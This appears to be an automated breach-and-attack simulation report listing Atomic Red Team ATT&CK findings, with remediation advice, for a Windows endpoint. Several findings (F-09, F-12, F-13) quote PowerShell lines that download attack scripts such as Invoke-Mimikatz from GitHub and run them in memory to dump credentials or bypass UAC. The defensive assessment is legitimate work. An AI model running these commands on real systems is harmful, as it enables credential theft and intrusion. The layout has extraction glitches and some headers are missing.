

AUDSPECT

Breach & Attack Simulation Platform

Adversary Simulation Assessment Report

Atomic Red Team â€™ Selective Techniques

RISK: CRITICAL

Prepared for	WIN-MHQITQ23L3Q
Endpoint	Windows/amd64 (10.0.17763)
Environment	Production
Assessment date	10 June 2026, 11:15 UTC
Report generated	10 June 2026, 11:46 UTC
Run reference	18b7b40d

1. Executive Summary

This report presents the results of an automated breach & attack simulation executed against WIN-MHQITQ23L3Q (Windows/amd64 (10.0.17763)) on 10 June 2026. The assessment ran 298 MITRE ATT&CK-aligned techniques to measure how effectively the endpoint's security controls prevent real adversary behaviour.

Of the techniques executed, 26 were prevented or blocked by a security control and 131 executed successfully without being stopped. This yields a prevention effectiveness of 15% and an overall risk classification of Critical (risk score 100/100). Consecutive failures across adjacent kill-chain phases amplified exposure by 2.5×, indicating an attacker could chain multiple steps with limited resistance. A further 98 technique(s) could not be evaluated (execution errors — malformed test content, timeouts, missing prerequisites or scheduler contention) and 43 were skipped; both are excluded from the prevention and exposure scores so they neither inflate nor deflate the result.

120 critical or high-severity technique(s) were not prevented and require prioritised remediation (see Key Findings). Testing exercised 50% of the ATT&CK enterprise kill chain; broadening scenario coverage in future runs will increase assurance. Prioritised recommendations are provided in section 7.

Overall posture: Critical (risk score 100 / 100, Baseline)

298 techniques · 26 prevented · 131 succeeded · 98 errored · 43 skipped · 120 critical/high finding(s)

2. Assessment Scorecard



3. Methodology & Scope

Framework	MITRE ATT&CK (Enterprise)
Engines	Atomic Red Team
Target endpoint	WIN-MHQITQ23L3Q — Windows/amd64 (10.0.17763)
Environment	Production
Techniques executed	298
Tactics exercised	7 of 14 ATT&CK tactics
Window	10 Jun 2026 11:15 UTC

Each technique is scored as PASS when a security control prevented or blocked it, FAIL when it executed without being stopped, ERROR when the test itself could not execute correctly (malformed content, timeout, missing prerequisite, scheduler contention), or SKIPPED when it was not run. Only PASS and FAIL count toward the score: a FAIL is a finding — the simulated adversary behaviour succeeded against this endpoint — while ERROR and SKIPPED are excluded because they reflect a test-execution problem, not the endpoint's defences.

4. ATT&CK Tactic Breakdown

Execution  **7%** 1 pass · 13 fail

Persistence — Confidential		0%	0 pass · 10 fail
Privilege Escalation		38%	7 pass · 11 fail
Defense Evasion		2%	2 pass · 69 fail
Credential Access		0%	0 pass · 7 fail
Discovery		52%	12 pass · 11 fail
Command And Control		28%	4 pass · 10 fail

5. Key Findings

CRITICAL F-01 T1003.001 — OS Credential Dumping: LSASS Memory

Credential Access

What happened	Technique executed: technique ran to completion
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

CRITICAL F-02 T1003.001 — OS Credential Dumping: LSASS Memory

Credential Access

What happened	Technique executed: The path 'C:\Windows\system32\C:\Windows\TEMP\nanodump.dmp' is invalid.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

CRITICAL F-03 T1003.001 — OS Credential Dumping: LSASS Memory

Credential Access

What happened	Technique executed: IWR : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

CRITICAL F-04 T1003.001 — OS Credential Dumping: LSASS Memory

Credential Access

What happened	Technique executed: #####. mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

CRITICAL F-05 T1003.001 — OS Credential Dumping: LSASS Memory

Credential Access

What happened	Technique executed: Directory: C:\Windows\TEMP
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f). 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

CRITICAL F-06 T1003.001 — OS Credential Dumping: LSASS Memory

Credential Access

What happened	Technique executed: The folder ""C:\Windows\TEMP\SilentProcessExit"" is not valid.
Remediation	1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts. 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping. 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f).

CRITICAL

F-07 T1003.002 — OS Credential Dumping: Security Account Manager

Credential Access

- What happened** Technique executed: technique ran to completion
- Remediation**
- 1) Enable Credential Guard (Windows) or PAM vaulting for all privileged accounts.
 - 2) Enable LSA Protection (RunAsPPL=1) to prevent LSASS memory dumping.
 - 3) Enable ASR rule: Block credential stealing from LSASS (GUID 9e6c4e1f).
 - 4) Enforce phishing-resistant MFA (FIDO2/hardware token) for all privileged access.

CRITICAL

F-08 T1055.001 — Process Injection: Dynamic-link Library Injection

Privilege Escalation

- What happened** Technique executed: Dropping WindowsCoreDeviceInfo.dll in System32 Folder...
- Remediation**
- 1) Enforce least-privilege; audit and remove unnecessary local admin memberships.
 - 2) Enable UAC at highest level; require elevation approval for all admin actions.
 - 3) Patch known privilege escalation CVEs — cross-reference CISA KEV catalogue.
 - 4) Monitor for token manipulation events (Windows Event IDs 4672, 4673, 4674).

HIGH

F-09 T1059.001 — Command and Scripting Interpreter: PowerShell

Execution

- What happened** Technique executed: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
- Remediation**
- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
 - 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
 - 3) Enable ASR rules targeting script-based and macro-based execution.
 - 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-10 T1059.001 — Command and Scripting Interpreter: PowerShell

Execution

- What happened** Technique executed: 2026-06-10T04:17:38.9204434-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
- Remediation**
- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
 - 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
 - 3) Enable ASR rules targeting script-based and macro-based execution.
 - 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-11 T1059.001 — Command and Scripting Interpreter: PowerShell

Execution

- What happened** Technique executed: Remote download of SharpHound.ps1 into memory, followed by execution of the script
- Remediation**
- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
 - 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
 - 3) Enable ASR rules targeting script-based and macro-based execution.
 - 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-12 T1059.001 — Command and Scripting Interpreter: PowerShell

Execution

- What happened** Technique executed: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'
- Remediation**
- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
 - 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
 - 3) Enable ASR rules targeting script-based and macro-based execution.
 - 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-13 T1059.001 — Command and Scripting Interpreter: PowerShell — Confidential — “Red Team â€” Selective Techniques Execution

What happened	Technique executed: =New-Object -ComObject MsXml2.ServerXmlHttp;.Open('GET','https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1',False);.Send();IEX .ResponseText
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-14 T1059.001 — Command and Scripting Interpreter: PowerShell Execution

What happened	Technique executed: The operation completed successfully.
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-15 T1059.001 — Command and Scripting Interpreter: PowerShell Execution

What happened	Technique executed: Stream Data Executed
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-16 T1059.001 — Command and Scripting Interpreter: PowerShell Execution

What happened	Technique executed: Hello, from PowerShell!
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-17 T1059.001 — Command and Scripting Interpreter: PowerShell Execution

What happened	Technique executed: function Add-Persistence { Write-Host Pretending to invoke Add-Persistence }
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-18 T1059.001 — Command and Scripting Interpreter: PowerShell Execution

What happened	Technique executed: Check
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-19 T1059.001 — Command and Scripting Interpreter: PowerShell Execution

What happened	Technique executed: nt authority\system
Remediation	1) Enable PowerShell Script Block Logging and Constrained Language Mode. 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution. 3) Enable ASR rules targeting script-based and macro-based execution. 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

— Confidential — F-20 T1059.003 — Command and Scripting Interpreter: Windows Command Shell — Command and Control — Ingress Tool Transfer — Active Techniques Execution

What happened Technique executed: Hello, from CMD!

Remediation

- 1) Enable PowerShell Script Block Logging and Constrained Language Mode.
- 2) Implement application allowlisting (AppLocker/WDAC) to restrict code execution.
- 3) Enable ASR rules targeting script-based and macro-based execution.
- 4) Monitor for anomalous parent-child process relationships in EDR.

HIGH

F-21 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: BITSADMIN version 3.0

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

HIGH

F-22 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: technique ran to completion

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

HIGH

F-23 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: technique ran to completion

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

HIGH

F-24 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: 1 file(s) copied.

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

HIGH

F-25 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: [WIN-MHQITQ23L3Q]

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

HIGH

F-26 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: % Total % Received % Xferd Average Speed Time Time Time Current

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

Command And Control

What happened Technique executed: technique ran to completion

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

F-28 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: technique ran to completion

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

F-29 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: technique ran to completion

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

F-30 T1105 — Ingress Tool Transfer

Command And Control

What happened Technique executed: File C:\Temp\T1105_scp.zip is created

Remediation

- 1) Deploy DNS filtering to block known C2 domains and DGA-generated hostnames.
- 2) Enable TLS inspection at the perimeter for outbound HTTPS traffic.
- 3) Implement network detection for beaconing patterns (periodic, low-volume connections).
- 4) Restrict outbound connections to an approved destination allowlist.

F-31 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-32 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

F-33 T1112 — Modify Registry

Defense Evasion

What happened Technique executed: The operation completed successfully.

Remediation

- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
- 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
- 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
- 4) Monitor for security service termination and log clearing events.

Defense Evasion

What happened	Technique executed: technique ran to completion
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

F-35 T1112 — Modify Registry

Defense Evasion

What happened	Technique executed: Hive: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\bad-domain.com
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

F-36 T1112 — Modify Registry

Defense Evasion

What happened	Technique executed: T1112 : <script>
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

F-37 T1112 — Modify Registry

Defense Evasion

What happened	Technique executed: technique ran to completion
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

F-38 T1112 — Modify Registry

Defense Evasion

What happened	Technique executed: The operation completed successfully.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

F-39 T1112 — Modify Registry

Defense Evasion

What happened	Technique executed: LocalAccountTokenFilterPolicy : 1
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

F-40 T1112 — Modify Registry

Defense Evasion

What happened	Technique executed: The operation completed successfully.
Remediation	1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement. 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI. 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM. 4) Monitor for security service termination and log clearing events.

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-42 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-43 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-44 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-45 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-46 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-47 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-49 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-50 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-51 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-52 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-53 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

F-54 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-55 T1112 — Modify Registry**

Atomic Red Team â€” Selective Techniques

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-56 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-57 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-58 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-59 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-60 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-61 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-62 T1112 — Modify Registry**

Atomic Red Team â€” Selective Techniques

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-63 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-64 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-65 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-66 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-67 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH**F-68 T1112 — Modify Registry**

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

— Confidential — **F-69 T1112 — Modify Registry**

Atomic Red Team â€” Selective Techniques

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-70 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-71 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-72 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
- Remediation**
- 1) Enable tamper protection on all EDR/AV solutions; alert on protection disablement.
 - 2) Restrict PowerShell to ConstrainedLanguageMode and enable AMSI.
 - 3) Enable Script Block Logging (Event ID 4104) and forward to SIEM.
 - 4) Monitor for security service termination and log clearing events.

HIGH

F-73 T1112 — Modify Registry

Defense Evasion

- What happened** Technique executed: The operation completed successfully.
